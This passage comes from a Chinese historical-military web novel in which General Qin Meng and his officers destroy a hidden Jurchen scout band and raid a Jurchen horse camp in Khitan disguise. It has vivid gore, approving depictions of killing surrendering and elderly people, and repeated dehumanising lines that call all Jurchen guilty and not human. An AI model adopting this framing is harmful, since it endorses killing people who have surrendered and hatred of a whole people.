他猛地拔出腰间佩刀,雪亮刀光映照着坚毅的面容,声震屋瓦:
“李山!刘铁柱!”
“末将在!”两员骁将应声出列,甲胄铿锵作响。
“命你二人即刻带队,奔赴十里外芦苇堡山坳处的废弃窑厂!按情报所示,清除这个隐患,务必将藏匿于此的鞑子一网打尽,不得走漏一人!”
“得令!”
“其余人等,随我出发!”秦猛雷厉风行,旋即率领王善、王良等将领及百余精锐骑兵,如离弦之箭般,直奔飞虎卫驻地汇合主力。
夜色浓重,寒风凛冽。
一队队精锐军士翻身上马,火把骤然燃起,蜿蜒如龙,照亮前路,朝着芦苇堡方向疾驰而去。
芦苇堡踞于军寨以西十里的山坡之上,地势高拔,可将界河全貌尽收眼底。
山下浅滩广袤无垠,芦苇密集成海,风过时掀起层层绿浪,壮阔非凡,“芦苇堡”之名便由此而来。
堡外山坳里曾有座砖窑厂,自打戍堡被鞑子攻破,junmin非死即逃,这座窑场也彻底荒了。
李山和刘铁柱两位队将,此番是伤愈归队后首次领兵,两人眼底都燃着一股按捺不住的振奋劲儿。
两队兵卒借着夜色掩护,策马踩着积雪疾行。
雪花簌簌落在铁甲上,寒意顺着甲叶缝往衣服里钻,却压不住士卒们粗重而急促的呼吸声。
不过小半个时辰,芦苇堡的轮廓已近在眼前。
二人当机立断,下令熄灭火把,跳下马匹,安排人守着坐骑,领着队伍悄无声息地摸了上去。
李山压低声音部署:“铁柱,你留部分人手守住前路,再带剩下的人绕去后门,把他们的退路堵死。”
“记住,动作一定要轻,别碰着后门口的铃铛。等我带人冲进去,你就守在那儿,等着抓‘鱼’。”
“好!”刘铁柱微微颔首,干脆利落地应了声。
当即两人各自带队行动。
李山带着剩下的人潜到砖窑厂外,这处山坳地势险峻。
他们此刻正处在低处,要想进去,得先攀上一段陡坡。
抬眼望去,坡上那棵歪脖子老槐树格外显眼。
槐树旁的窝棚里,火光忽明忽暗,隐约还能听见说话声。这群潜入境内的鞑子,并没放松警戒。
李山抬手止住身后众人,自己猫着腰绕到一块巨岩后,手指抠着石缝往上攀爬,脚下踏雪时发出的轻微声响,全被山间的风给吹散了。
半塌的窝棚里,火堆旁,三个穿着破旧汉人棉袄的汉子正围坐烤火,喝酒。虽是百姓打扮,可眉目间的凶悍和身形里的蛮劲却藏也藏不住。
一条大汉声音粗嘎,带着几分醉意和不耐。
“撒喇那厮……怎的还没回来?”
“急什么?这冰天雪地,又是夜晚,周人的兵早缩进军寨里猫冬去了!”另一个略瘦些的嗤笑一声。
他撕扯着手里的肉干,“哈拉百户不也混进去了?几遍严苛筛选,却硬是没人瞧出端倪!”
“呸,那杂种运气忒好……”第一个说话的汉子——名叫达伦,狠狠灌了一口酒,“这鬼天气,酒都冻嗓子!”
“是你喝得不够多。”瘦子咧嘴笑,露出一口黄牙。
那一直默默吃着肉干的年轻人却忽然抬头,耳朵微动:“嗯?坡下……好像有动静。”
“我去看看,正好放个水。”那个叫达伦的鞑子放下酒囊,摇摇晃晃地站起身,嘴里骂骂咧咧。
而在坡下,是李山朝下方挥了挥手,身后的军士猫着腰往前挪,尽力压住铁甲碰撞的声响。
每个人都紧握着团牌和短刀,连呼吸都放得又轻又浅。
那鞑子打着酒嗝,拎着刀走到坡边,边解腰带边张望着。山坡上盖着一层积雪,白茫茫一片。
而寨兵们早迅速蹲下,身上的白披风跟雪地融成了一色,夜间光线又差,根本辨不出来。
“你听错了,只有风雪。”达伦边转头朝同伴嚷嚷,边掏出囊中之物,准备对着坡下方便。
李山被那股腥骚味搞得火大,眼中寒芒骤然一闪,脚下猛地一蹬,整个人像豹子似的暴起发难!
达伦惊觉不对,刚要开口呼喊,一道刀光已如闪电般划过他的脖颈,鲜血瞬间喷溅如雾。
窝棚里另外两个鞑子又惊又怕,刚要张嘴喊叫,几道矫健身影已经翻扑进去,动作快得像猎豹。有的锁喉、有的捅腹,迅速解决掉两人。
两个鞑子连哼都没哼一声,就颓然倒在了地上。
“分三队,推进,杀!”
李山一脚踹开地上的尸体,低声喝令。
三十多个军士立刻应声分队,像三把利刃,猛地刺入砖窑厂。
窑厂里头,三十多个鞑子分成了两处:前面有五人在值守,剩下的都在里面的山洞里酣睡。
李山带着刀盾手率先冲进去,直扑前院的守敌。
惊呼声骤然响起,一个鞑子抄起弓箭就射,箭矢“嗖嗖”地钉在团牌上,发出闷闷的响声。
李山举着团牌横冲直撞,身后的军士们立刻涌了进去。
长矛接连疾刺,慌乱中的鞑子一个个应声倒地。
“别让他们纵火!”李山突然厉声大喊。
原来,一鞑子正提着油罐,往旁边的柴堆上泼油!
旁边的军士反应极快,将手中长矛飞掷出去,正好贯穿了对方手臂。
油罐“砰”的一声砸在地上。
溅洒出来的燃油溅进火堆,黑烟瞬间腾起。
“杀!”军卒们鱼贯而入,瞬间将另外几人杀死。
队伍没有停歇,直接向仓库方向杀去。
窑厂里顿时杀声震天,混战彻底爆发。
建筑保存相对完好的仓房,女真探子纷纷被惊醒惊。有的鞑子挥着刀反扑,有的则察觉到敌人多,朝着柴草xia的后门跑去,想趁机逃窜。
——可李山早让人守在了那儿。
十来个溃兵慌慌张张地奔向后门。刚推倒柴草,打开门冲出,刘铁柱就带着伏兵杀了出来。
“嗖嗖”破空声不绝。
后排的箭手拉弓搭箭,箭雨瞬间封住了去路。
“啊——”凄厉的哀嚎声此起彼伏,鲜血很快染红了门前的雪地。
一个满脸虬髯的鞑子挥着刀,猛地朝刘铁柱劈来。
刘铁柱毫不畏惧,举刀迎击,环首刀硬生生撞上对方的弯刀,哐啷不断,火花“噼啪”溅起。
他臂力惊人,这一击直接把那鞑子压得连连后退,手中刀势愈发狂猛,如涛浪般接连落下。
“锵”的一声脆响,那鞑子的弯刀竟被劈断了!
“好刀!”刘铁柱朗笑一声,赞了句手中新配的军寨战刀,刀光再舞,如龙出海,那鞑子只能狼狈格挡。
又是一道刀光闪过,那鞑子的胳膊应声而断,鲜血喷涌而出,雪地瞬间被染成一片猩红。
另一个鞑子趁着混乱,偷偷挽弓想偷袭刘铁柱,houzhe脚下一滑,箭矢擦着耳朵飞了过去。
刘铁柱趁机揉身疾进,一把短刀直刺那鞑子的大腿,鞑子“噗通”跪倒在地,哀嚎不止。
还没等挣扎,就被旁边的军士捆了个结实。
窑厂里,金铁交鸣之声、嘶吼声、哀鸣声混在一起,乱成一片。
还不到一刻钟,三十多个鞑子就非死即擒。
要么倒在刀下,要么被捆成了粽子,还有两个想翻墙逃跑,刚爬上墙头,就被巡哨射杀当场。
众军士分成几队,在窑厂外围巡逻守卫,严防有漏网之鱼。
李山抹了把脸上的血污,看到地上翻倒的油桶、散落的弓矢,他这才松了口气,下令道。
“清点我方伤亡,再仔细搜一遍,别留下余孽!”
刘铁柱快步走来,笑着拍了拍李山的肩膀:“还是兄弟的方法好,咱们一袭一堵,前后夹击,鞑子凶悍又怎样?连还手的机会都没有。”
“是大人给咱们立功的机会。”李山脸上也露出了笑意,连日来的压抑一扫而空,只觉得扬眉吐气。
“赶紧清理战场,收缴财物,器械,整队回营。”
“就是不知道,将军那边怎么样了。”刘铁柱下意识眺望草原方向,忽然轻声喃喃了一句。
“这有什么好担心的!”李山脸上刚闪过一丝忧虑,却又立刻压了下去,目光变得笃定如磐石。
“将军亲自出手,鞑子只有死路一条!”
第135章 雪夜破营
踏雪乌骓的铁蹄刚踏上拒马河的冻土,寒风刮得更急了,秦猛抬手按了按头顶的契丹绒帽。
——这帽子边缘还沾着草屑,铁甲外面套着泛着千夫长裘衣,配上弯刀,活脱脱的契丹兵。
他身后三百骑兵的马蹄声,同样是这种打扮。
这队人马里,除了自己亲兵队及军寨百余骑兵,其余两百余人,皆是飞虎卫亲卫营的精锐。
而这场夜袭,早在袁飞假扮虎贲军传令兵送来“假命令”时,就与副将周扬定好了并有所准备。
王善带队侦察返回,勒马凑近,声音压得极低:“将军,前方河面冰层够厚,可全速过河。”
他目光飞快瞥了眼队伍中周扬的身影。这位亲卫营副将正与袁飞、徐强低声核对作战计划。
秦猛微微颔首,目光穿透风雪眺望对岸草原,迅速下令:“告诉弟兄们,过了河,就熄灭马灯,谁漏了半点光亮,军法处置。”
马蹄声骤然加快,三百多骑兵如一道黑色洪流。踩踏着冰面,从界河较高的河床呼啸而过。
他们眼中闪过兴奋,都记得秦猛出发前的话:“被动挨打不是咱们的规矩,今天要让女真图鲁木部知道,敢越界,就得付出血的代价!”
刚踏上草原,秦猛抬手示意全军止步,下令灭检查装备,给马蹄裹上毡布,防滑,降低噪音。
他摸了摸马鞍袋里的燃烧瓶。
——这些装备连衣甲,都是白天特意送进临时驻地的,干粮都按契丹人的习惯换成了肉干。
待骑兵陆续裹好马蹄,戴上嚼笼,马灯全被熄灭。
秦猛说了声“出发”,双腿一夹马腹,率先冲出。他视力超群,在前面领路,骑兵队紧随其后……
黑风岭,是草原少有的丘陵地带。
女真马场依着一处缓坡而建,粗木栅栏围出大片场地。
大片圆顶毡帐一座挨着一座整齐排列。
越靠近里面,毡房越大、越精致,反之亦然。
中央最高最大的那顶便是千夫长哈达的营帐。
马厩中隐约可见数百匹战马的轮廓,几个哨兵缩在角落里避寒,完全没意识到危险正在逼近。
他们也从未想过,被他们视为两脚羊,一向胆怯固守的大周军队竟敢渡过界河,深夜来袭!
“将军,一切就绪。”王善低声禀报,手中的弯刀在雪光下泛着寒芒,刀身上的纹路若隐若现。
“周将军。”秦猛沉声道,声音在风雪中显得格外冷峻。
“末将在。”亲卫营副将周扬立即策马上前!慨然应声。
秦猛是一营正将,官职比他高,又是这次突袭发起和制定者,他作为下官,没有任何怨言。
“按计划行事。”秦猛低声说道。
周扬沉声领命:“将军放心,马厩就交给我们。”
秦猛目光锐利如刀,一字一句道:“记住,先清守卫,再夺战马。动作要快,动静要小。若是惊跑了马群,咱们这趟就只能杀杀鞑子。”
周扬重重点头,带着袁飞、徐强悄然向东侧移动,三人带队,很快消失在纷飞的雪花中。
与此同时,王良已经带着十名好手悄无声息地摸掉了外围的游骑。
雪地上只留下几具尸体,鲜血从喉间汩汩流出,很快就被新雪覆盖,只留下一片淡淡的粉红。
一个哨兵临死前挣扎着想要吹响号角,奈何,被王良一把捂住嘴,匕首精准地刺入心窝。
那双瞪大的眼睛里还映着漫天风雪。
秦猛深吸一口冰冷的空气,猛地举起丈八铁枪。
“杀!”
踏雪乌骓如离弦之箭般射出,两百多骑兵紧随其后。马蹄裹着毡布,在雪地上只发出轻微的“沙沙”声,仿佛一群幽灵在雪原上疾驰。
隆隆沉闷的马蹄声越来越近,栅栏边的女真哨兵刚刚惊醒,睡眼惺忪中只见一群黑影扑面而来。
还没来得及发出警报,秦猛的铁枪已经刺穿了他的咽喉。
鲜血飙射溅在雪地上,绽开一朵凄艳的红花。
其他哨兵惊慌失措,正要吹响号角,却被王善、王良带队迅速斩杀。
一时间,栅栏边惨叫连连,鲜血染红了白雪。
“敌袭!是契丹人!”远处残存的岗哨撕心裂肺的大叫。毡帐中的女真士兵被惊醒,来不及穿甲。纷纷抄起兵刃冲出来,扑向最近的马厩。
在草原上,没有马,就等于没有腿!
尽管鞑子警惕性高,反应及时,却已经太迟了。
踏雪乌骓神骏非凡,速度最快!
秦猛一马当先,最先越过栅栏,冲入马场毡房区。铁枪舞动如龙,所过之处,血肉横飞。
一个女真兵举刀迎战,被秦猛一枪捅穿挑飞,尸体撞翻了三顶帐篷。
乌骓马四蹄生风,在雪地上如履平地,沿途挡路的女真兵不是被撞飞,就是被刺死挑飞。
王善、王良各率一队骑兵从两翼包抄,砍杀那些从毡房冲出来的女真兵,精准斩杀吼叫的女真军官。
牛五则带队直冲营帐区,紧随秦猛冲锋,扩大战果,与左右两翼呼应,冲散聚集的女真兵。
“杀!”喊杀声震耳欲聋。
惨叫声、兵刃碰撞声、马蹄声混杂在一起,打破了草原的宁静。
最大的营帐中突然亮起灯火,一个粗壮的身影提着弯刀冲了出来。
——正是千夫长哈达。
他九尺身高,赤着上身,结实的肌肉在火光下泛着古铜色的光泽,怒吼着召集部下反击。
突然,那顶帐帘被踏雪乌骓撞得粉碎,是秦猛冲杀而来。
哈达刚翻身上马,看到秦猛的装扮,顿时怒喝:“契丹人?该死!你们契丹人竟敢撕毁盟约!”
秦猛听不懂,却骂着“去你娘的”,铁枪直刺而出。
哈达急忙格挡,却被秦猛的力道震得手臂发麻。
两马相交,兵刃相击,迸出刺耳的金铁交鸣之声,火花四溅。
就在这时,东侧马厩方向传来激烈的厮杀声。
周扬和袁飞、徐强正在那里浴血奋战。
战马是草原部落的命根子,女真兵拼死抵抗。
哪怕来不及上马,也疯狂地扑上来。
飞虎卫亲卫营是精锐中的精锐,迅速列阵杀敌。
周扬,徐强带队冲锋,袁飞带领弓箭手掩护。
一个女真兵甚至赤手空拳地抓住袁飞的马缰,被徐强一刀劈开天灵盖,脑浆和鲜血溅了一地。
“别缠斗!先开马厩!”周扬大喝一声,长刀劈断一个守卫的脖子,红白之物洒在雪地上。
徐强应声跃上木栅栏,一刀砍断锁马的铁链。
马厩里的大群战马受惊嘶鸣,躁动不安地踢打着围栏。
袁飞带人死死守住门口,箭无虚发,将试图救援的女真兵一一射倒。
一个女真兵举着火把想要点燃马厩,被徐强一箭射穿手腕,火把掉在雪地上,发出“嗤”的声响。
一个女真百夫长举着长矛冲向周扬,矛尖在火光下闪着寒光。
周扬侧身躲过,长刀横扫,直接劈断矛杆,顺势刺进对方小腹。
百夫长惨叫着倒下,肠子从伤口流出,在雪地上拖出一道血痕。
剩下的女真兵顿时军心涣散,有的开始后退。
另一边,秦猛与哈达的战斗也到了关键时刻。
哈达听到马场后方传来的厮杀声,气急败坏,出手越发狠辣。
弯刀带着破空声劈向秦猛面门,被铁枪架住,火星四溅。
秦猛看准时机,突然虚晃一枪,变刺为扫,铁枪狠狠砸在哈达腰间。
哈达惨叫一声,马匹踉跄着后退。
好个哈达,不愧是部落有名的勇士,强忍剧痛,手中弯刀奋力格挡,险险架住刺来的铁枪。
秦猛冷笑连连,双手握枪,一枪快过一枪,疯狂猛戳。
哈达左支右绌,胯下马儿被乌骓马撞得一个趔趄,弯刀上扬,中门大开。
“死!”秦猛眼疾手快,铁枪闪电般刺出,精准地穿透了哈达的喉咙。
哈达瞪大双眼,难以置信地看着没入自己咽喉的铁枪,轰然坠马。鲜血喷溅,染红了雪地。
“呔!千夫长哈达已死!”通晓女真话的寨兵大声吼叫。
这震慑人心的喊声此起彼伏。
牛五率队冲杀,将哈达的亲兵杀散,亲自一刀割下哈达的首级,用长枪高高挑起,高呼示众!
那颗头颅还在滴着血,眼睛圆睁,似乎死不瞑目。
主将战死,女真人顿时军心大乱。
秦猛立即带人支援东侧马厩,见周扬已经将战马赶出,当即下令:“纵火烧营,全军狠杀!”
“得令!”
“将军有令,狠杀鞑子!”
秦猛的命令下达后,骑兵们越发疯狂,吼声连连。
第一支火箭划破雪夜,紧接着是第二支、第三支,密集的箭雨直扑毡帐。燃烧瓶紧随其后,落地、碎裂、爆燃,三个动作在瞬间完成。
瓶碎油溅的瞬间,轰隆巨响震彻雪原。橙红火舌猛地蹿起数米高,将皑皑白雪照得亮如白昼。
伴随着惨叫,夜空似乎染上了一层血色般的红!
第136章 血火马场
这火器作坊改良后的燃烧瓶威力更大。而且火借风势,火焰越烧越旺,火舌顺着帐篷缝隙疯狂钻窜,灼热的火浪裹着焦糊味疯狂蔓延。
转瞬间,便将一片毡帐化为火海。
鞑子穿着毛皮衣,来不及逃窜,迅速被火焰吞没。
一个个火人在雪地上踉跄扑跌,凄厉地惨叫着。
有人浑身是火的奔逃,有人在地上翻滚想扑灭火焰,也有人因痛蜷缩,向同伴伸手喊着救命……
火焰吞噬毛皮与皮肉的滋滋声,令人头皮发麻。
一个个鲜活身影转瞬化为扭曲的人形火炬,在营地里乱窜。最终在高温中沉寂,大多人浑身被烧焦,少数人靠着积血和命却奄奄一息。
火势迅速蔓延场面惨不忍睹
空气中,弥漫着刺鼻的焦臭味。
这些人乱跑乱窜,火焰更是点燃了不少其他毡房。
火焰迅速蔓延,场面惨不忍睹!
女真人被这骇人的景象彻底击溃,哭喊着四处逃窜。
反观秦猛,虽惊讶燃烧瓶在风雪天的威力得到加强,但没有丝毫犹豫,长枪乱扎,大声喊杀。
“杀,杀鞑子!”
“杀光他们,不要有妇人之仁。”
“弟兄们,对敌人仁慈就是对自己残忍,杀呀!”
寨兵,飞虎精锐们此起彼伏的呐喊,雪亮的刀锋在火光中划出致命的弧线,疯狂的砍杀着。
他们耳畔始终回荡着秦猛出发前的热血动员。
——女真鞑子践踏伦理道德,把汉人当作奴隶,视为任人宰割的两脚羊。
这种根植于骨血的残暴怎么改变?
答案只有一个:无法改变,那就只能让他们死。
女真部落儿郎善战,百夫长,队长等从睡梦中惊起。
他们胡乱裹了皮袍,连腰带都没来得及系紧,便嘶吼着冲出营帐:“起来,集合,敌人夜袭!”
可回应他们的只有零散的惊呼和慌乱的脚步声。
大多数女真兵衣衫不整、睡眼惺忪,连战马都没有。面对如潮水般涌来的骑兵,就像风中残烛般脆弱,所谓的反抗不过是螳臂挡车。
没等女真兵列阵,大队骑兵已如惊雷般冲杀而至。弯刀狂舞,寒光闪过,便有女真兵捂着脖颈倒下,鲜血喷溅在营帐布幔上,瞬间染成暗红。
袁飞早已搭箭在弦,目光锁定人群中嘶吼的女真百夫长,箭矢离弦如流星,精准穿透其咽喉。
王善拍马挺枪,一枪挑飞试图反抗的队正,顺势将其踩在马下;牛五则挥着鬼头刀,刀刃劈在女真小校的肩甲上,连骨带肉劈成两半……
并非所有女真人都有死战的勇气。
许多胆小的鞑子见军官接连被杀,早已吓得魂飞魄散。丢掉兵器就往营寨后方逃窜,那狼狈的模样堪比受惊的鼠兔,连头都不敢回。
“杀,别放过一人!”
秦猛一马当先,胯下乌骓马踏过满地尸体,手中长枪直刺斜挑,每一次抖动都带走一条性命。
他身后,百骑精锐紧紧跟随,马蹄踏地声如闷雷。
在这群被仇恨点燃的战士眼中,只要是女真人,无论是否跪地投降,都绝无活命的可能。
有的被烧死在帐中,有的想逃跑却被拦截,还有的人喊着长生天跪在地上,却被一刀砍死……
几个女真兵想从栅栏缺口逃出去,王善策马追上,一刀一个,头颅滚落在雪地中,眼睛还圆睁着。
周扬见还有残敌在抵抗,与袁飞交换一个眼神,两人左右包抄,刀枪挥舞间又解决了几十人。
风在刮,火在烧,火势在蔓延。
那马厩里的战马,牛棚里的牛羊等牲畜惊慌的嘶吼着,挣断拴柱,撞开栅栏,跑出马场。
“跑啊!”鞑子被杀得胆寒,又见大火卷来,狼狈逃窜。
“杀!”
秦猛,周扬两支队伍没有就此罢休,率队追杀。
“呜嗬——呜嗬!”战士们发出契丹式的狂野嚎叫。
沿途遇到逃窜的女真人,无论是飞虎精锐,还是军寨老兵,执行命令,毫不留情地挥刀斩杀。
当然,一些从军不久的小伙难免有妇人之仁。
朔风卷着雪沫子,打在寨兵阿武的铁叶甲上噼啪作响。
他看着马前跪地的女真老人。
——枯瘦的手冻得发黑,脸上满是褶皱,额头磕在雪地里,连呼“饶命”,声音抖得像风中残烛。
阿武的刀举在半空,终究没劈下去。
这老人的模样,让他想起了老家村口同样佝偻的祖父。
刀锋悬着的瞬间,老人却猛地抬头,浑浊的眼里淬着毒,身体也不抖了,藏在袖口的短刀“噌”地弹出,竟矫健的蹦起来,直刺阿武咽喉。
这一幕来得太过突然,阿武根本来不及反应。
千钧一发之际,他胯下战马突然惊跳,前蹄踉跄半步。短刀擦着他的胸口划过,重重砍在胸口甲胄上,火星炸开时,铁叶已被劈出一道深沟。
“该死,没能宰了你这小崽子!”老人见偷袭落空,唾沫混着雪渣喷出来,用汉语咒骂着。
可他刚要再扑,身后骑兵的长刀已破空而来。
“噗”的一声,老人的身子被劈成两半,鲜血脏器喷在雪地上,像一朵骤然绽开的妖异红花。
“你他娘敢心软?”队将王善瞪眼喝斥,刀背抽在阿武肩上,震得他胳膊发麻,“将军早说了,女真部落暴力野蛮,这些鞑子没有一个无辜。
“这老东西是年纪大了,干不动了,年轻时,抓咱们汉人的孩子当奴隶,鞭子抽得比谁都狠!”
不远处,王良提着滴血的刀,吼声盖过风声:“阿武兄弟,对敌人不能仁慈。是别拿他们当人看,这群披着人皮的豺狼,杀一个少一个!”
阿武盯着雪地里渐渐凝固的血,又摸了摸甲胄上的刀痕。
——那道印子,比寒风更刺骨。
“是!”他昂首回应着队长的话,再看向奔逃的女真残部时,他眼中最后一点犹豫已被寒意取代。
刀光再起时,再没有半分迟疑,每一次落下,都伴着刺破黑夜的惨叫,雪地上的红也越来越密。
经历过这个小插曲,更没有人对鞑子手下留情。只要追上,刀光闪过,必定有惨叫声炸响。
一个又一个女真人倒在了雪地之中。
他们瞪大的眼睛,眼里充满不甘,血液染红雪地。
此情此景,犹如大周戍堡被摧毁后,那些无辜的百姓四散奔逃,却被鞑子追上倒在血泊里。
汉人老婆婆为护住粮食被杀,那无助的眼神。
书生看着儿子死在自己面前,临死那怨毒的目光。
以及即将做母亲的妇人,看着被弯刀挑出腹腔的胎儿……
“杀,给老子杀光他们。”
秦猛一马当先,吼声再次震碎黑夜。
他手头上有女真俘虏,拷问的结果触目惊心。正因为他知道,所以他今夜,来血债血偿。
一路追杀出好几里地,尸横遍野,逃脱者十不存一。
鲜血染红了他们的战袍,人人刀枪都浸染着鲜血,大口喘着粗气,在火光下显得格外狰狞。
秦猛浑身浴血,横枪立马,浑身散发着杀气。他在想是不是一鼓作气,直接杀入图鲁木部。
不过,在看到身后骑兵神色兴奋却夹杂着疲倦,许多人身上带伤,秦猛便果断打消这个念头。
据情报,图鲁木部上万人,而他们人数太少了。
若是如偷袭马场那样,出其不意还能够有所斩获。现在估计已经惊动对方,再去就是自寻死路。
“秦将军,女真援军估计快到了!”徐强策马来报,眼中闪过敬畏,指着远处夜空上的火光。
秦猛当机立断:“咱们撤!”
“快,驱赶马群牛羊,绕路返回军寨!”
战士们纷纷应声,部分人迅速给鞑子补刀,部分人搜刮财物,驱赶着缴获的战马和牛羊。
轰隆隆,远处的马蹄声由远及近。
一些受伤的鞑子来不及补刀,秦猛带着队伍迅速撤离。
身后的马场大火越烧越旺,一些受伤的女真兵在火海中挣扎惨叫,哀嚎声渐渐被风雪吞没。
秦猛回头望去,只见马场中尸横遍野,鲜血染红了整片雪地。
他没有情绪波动,唯有冰冷的眼神和喃喃自语:“这事儿不算完,等着吧,今夜只是一个开始。”
马场冲天的火光将半个夜空映成猩红,成为秦猛部队撤退时最好的路标,也同样为远方的敌人指明了方向。
队伍裹挟着缴获的数百匹战马和成群牛羊,虽战果辉煌,却行速迟缓。
沉重的蹄声和牛羊的哞叫在寂静的雪原上传出老远。
他们刚离开黑风岭不足十里地。
地面便传来沉闷的震动,远处地平线上,一条更粗、更黑的浪潮裹挟着雷霆万钧之势汹涌追来。
——女真上千援骑到了!
第137章 追兵至,设杀局
马场火光冲天,滚滚浓烟裹着焦糊味在风雪里翻涌。
阿古达是图鲁木部三大猛安勃极烈(千户长)之一,管辖的草场就在附近,察觉到这边异常。
他便率着千余女真铁骑奔袭而来,甲胄上的霜花未融。勒住缰绳时,却见黑风岭下那片炼狱。
烧焦的木柱歪歪斜斜插在雪地里,没烧尽的帐篷还在滋滋冒火。
雪地上横七竖八躺着女真兵的尸体,有的脑袋被砍掉,有的被劈成两半,有的胸口插着断刀……
惨不忍睹,冻硬的血痂在残肢上凝结成黑紫色。
几个幸存的女真兵从雪堆里爬出来,皮甲残缺,浑身烧伤,连滚带爬地扑到阿古达马前。
他们满脸惊恐,声音抖得不成样:“大人!是契丹人。他们突然夜袭,见人就杀,连老弱都没放过啊!”
契丹人?来援的女真兵发懵。
女真部落以前的确跟契丹有摩擦,但自从签订俯首称臣的盟约后,已经好几年都未发生冲突。
不少女真兵下马,捡起断箭观察,是契丹人锻造。
那些断刀也确是契丹弯刀。
“大人,的确是契丹骑兵。”女真勇士咬牙汇报。
阿古达脸色阴沉,翻身下马,手指按在一具尸体的刀伤上,指腹蹭过那利落的劈砍痕迹。
——这确是契丹弯刀所砍,却不是契丹人惯用的弯刀手法。
“有可能是契丹人所为,有可能是其他部落冒充。”
他猛地抬头,眼里的怒火几乎要冲破眼底的红血丝,一脚踹在雪地里,积雪溅起半人高。
“该死!这群杂碎!”
身后的女真勇士们早已按捺不住,纷纷拔出弯刀,哐啷碰撞的脆响混着怒骂声,在雪原上炸得刺耳。
“猛按大人,绝不能放过他们!”
“咱们连夜追杀,踏平他们的营地,为兄弟们报仇!”
阿古达深吸一口气,看着狼藉的战场,寒风吹得他腮边的胡茬发颤,却压不住心头的戾气。
他转身指着身后两队骑兵,声音冷得像冰:“你们留下,扑灭大火,抢救伤员,清点损失!”
随后他翻身上马,大手一挥,马鞭狠狠抽在马臀上:“其余人跟我来!循着马蹄印追!”
“就算追到天涯海角,也要把这群凶手剁成肉酱!”
“哦吼,杀!”众女真兵挥舞弯刀,发出阵阵狼嚎。
“驾,驾……”
缰绳甩动声不绝,上千匹战马同时扬起前蹄,沉重的蹄声砸在冻土里,震得地面微微发颤。
黑色的骑兵洪流裹挟着风雪,寻找秦猛部队撤退的痕迹疾驰而去,马蹄践踏,掀起了雪雾!
草原上,雪花被狂风撕扯成白雾,一片混沌。
按常理,不过一刻,所有蹄印便会被积雪吞没。
纵是草原上最好的猎手,也难寻踪迹。
可秦猛队伍里是数以千计的牲口。
是行走的、排泄的活物,总会留下痕迹。那些未被冰雪彻底覆盖的粪便,成了复仇的引路标。
——天边那条由雪尘与骑兵汇成的黑线,正以一种固执的速度,一寸寸咬紧前方撤离的队伍。
“加速,往界河靠!”秦猛厉声吼道。听着身后渐近的马蹄,眼神冷厉地扫过远处滚动的雪尘。
他脸色铁青。这回是真低估了女真人的追踪本事。也怪马场的牲口太多,自己人又舍不得丢。
队伍之前故意绕路,就为迷惑追兵。
他本来以为,这场大风雪足以抹掉所有行迹,让他们安然返回。
没想到,这群狗鞑子居然还是追了上来。
“快!再快点!”副将周扬的声音发紧,他之前为收拢跑散的战马耽搁了太久,此刻身后鞑子追兵越来越近,每一秒都像是在剐他的心。
军卒们不敢怠慢,拼命抽打驱赶牲畜。
可带着这么大一群牛羊,怎么可能跑得过轻装追兵?
轰隆隆——
后方马蹄声越来越清晰,越来越响。
“秦将军,如何是好好?”周扬急得额头冒汗,他听得出追兵人数不少,拍马凑到断后的秦猛身边问计。
“真他娘的不甘心!”周扬回头望着成群的牛羊,牙关紧咬。
战马有缰绳,好歹能牵走。
可这些牲口……都是秋天刚贴好膘的,有价无市。
丢了,心疼得要滴血。
“放心,我留了后手。”秦猛脸色已经恢复平静,语气镇定。
夜袭马场为的是什么?不就是这些牲畜等战利品?
尤其是牛,明年开春了,军寨垦荒就全靠它们。
“后手?”周扬一愣。
边上的袁飞、徐强也面露疑惑,他们也没听说。
秦猛简短解释:“备用计划。就是考虑到最坏的局面,没甩掉鞑子援军,提前做了点布置。”
他不是在说大话,是真有安排。
只要对岸草原升起冲天火光,就是接应队伍动手的信号。
“大人!咱们的人来了!”
就在这时,前面一骑飞奔而来,兴奋的大声汇报。
“来了!”秦猛心里一松,朝周扬一扬下巴,“去看看!”
队伍前方的黑夜中,忽然亮起了三长两短的灯火信号。正是秦猛事先约定好的接应暗号。
如同绝境中看到的一线生机。
秦大壮带着几百接应人马已经到了。
燧堡队将王勇只留了几个人守堡,带了二十多骑护送。
连飞虎卫亲卫营也被惊动,百来个精锐也跟着来了。
“好!来得正好!”周扬见到自己麾下的队将擅自跑来接应,不但没怪罪,反而笑着拍了拍他的肩膀。
“快!快把战马和牛羊运过河!”秦大壮看着眼前黑压压一片的牲口,激动得声音直发颤。
接应的步兵上前牵战马,青壮们挥舞鞭子,吆喝着驱赶牛羊,从两侧绕行一段路,直奔渡口。
王铁山则打马赶到秦猛身边:“将军,一切都按您的吩咐布置好了,东西也带来了。”
他话音刚落,几个军卒就抬过来几箱燃烧瓶。
时间紧迫,王善和王良立刻带人分发给各队。
“周扬!”秦猛当机立断。
“末将在!”
“你让受伤的弟兄护送牛羊先走,其他人留下准备迎敌!”
“得令!”
“其余人,随我杀敌!”秦猛勒住躁动的踏雪乌骓,目光扫过秦大壮、王铁山、袁飞、徐强等将领。
“女真人正携怒而来,势头猛,不能硬拼。接应的人有准备,我们就在这儿,再给他们放点血!”
军令如山,队伍迅速分成四股。
接应队伍驱赶着牛羊牲口,分多路奔向渡口。
而周扬、袁飞、则与王善、徐强各率一队精锐。悄无声息地潜入河道两旁起伏的雪丘和枯草丛中。
秦猛亲率一队断后,将带来的铁蒺藜撒在雪地上,乌黑的尖刺转眼就被新雪盖住,藏起了锋芒。
队伍顶着风雪前行,女真援军已经像狂风一样卷到了眼前。
望着黑夜中那串马灯和绰绰人影,追兵中爆发出疯狂的欢呼,复仇心切的他们急不可耐。
“只能怪他们贪心不足,带着这么多牛羊跑不快。”阿古达脸上露出狞笑,语气比寒风还冷。
“大人,雪地里好像有铁蒺藜。”前面的探马发现不对,赶紧汇报。
“哼,冲过去,在雪地里撒这玩意有什么用?”阿古达冷笑一声,手中弯刀一举,大声下令:
“给我杀!追上去,宰了那群强盗!”
“嗷嗷!杀!”女真骑兵憋了一肚子的怒火,此刻彻底爆发。他们一边嚎叫着,一边催马向前冲。
战马冲得更快了,蹄声如雷,溅起漫天雪雾。
果然,那些撒在雪地里的铁蒺藜没起到什么作用。
上千匹战马呼啸而过。
然而,冲在最前面的几十骑突然发出凄厉的惨嘶!
那赫然是一道道绊马索如毒蛇般猛地弹起,死死缠住奔马前蹄。
只听“咔嚓”脆响,马腿骨被生生拗断的闷响,混着战马撕心裂肺的惨嘶,在雪原上炸开。
